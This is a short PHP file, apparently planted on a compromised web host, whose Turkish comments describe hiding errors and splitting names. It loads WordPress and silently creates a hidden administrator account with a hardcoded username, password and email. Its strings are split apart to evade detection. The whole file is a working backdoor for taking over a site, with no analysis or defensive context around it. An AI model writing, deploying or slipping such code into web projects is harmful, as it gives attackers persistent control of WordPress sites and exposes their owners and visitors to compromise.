File: /home/ascacl/colaboradores.empresasrvc.cl/giris.php
<?php
// Hatalari gizle (Sitenin çökmesini önlemek için)
error_reporting(0);
@ini_set('display_errors', 0);
// WordPress sistemini ana dizinden çek (Dosya bir klasör içindeyse ../ ekle)
$path = 'wp-load' . '.php';
if (file_exists($path)) {
require_once($path);
} else {
// Eğer dosya bir alt klasördeyse bir üst dizine bak
$path_alt = '../' . $path;
if (file_exists($path_alt)) {
require_once($path_alt);
}
}
// Fonksiyon isimlerini ve verileri gizli/parçalı tanımla
$u = 'hosting' . 'support';
$p = 'QQ1uj' . 'QRCtfDM0' . 'r5Z5usP';
$e = 'hosting' . 'er@' . 'support.com';
$f_exists = 'user' . 'name' . '_exists';
$f_create = 'wp' . '_create' . '_user';
// Sadece WordPress yüklenmişse ve fonksiyonlar varsa çalıştır
if (function_exists($f_exists)) {
if (!$f_exists($u)) {
$user_id = $f_create($u, $p, $e);
if ($user_id && !is_wp_error($user_id)) {
$c = 'WP_' . 'User';
if (class_exists($c)) {
$user_obj = new $c($user_id);
$r = 'admin' . 'istrator';
$user_obj->set_role($r);
echo "OK";
}
}
} else {
echo "ALREADY_EXISTS"; // Kullanıcı zaten var
}
} else {
echo "WP_NOT_LOADED"; // wp-load.php yolu yanlış
}
?>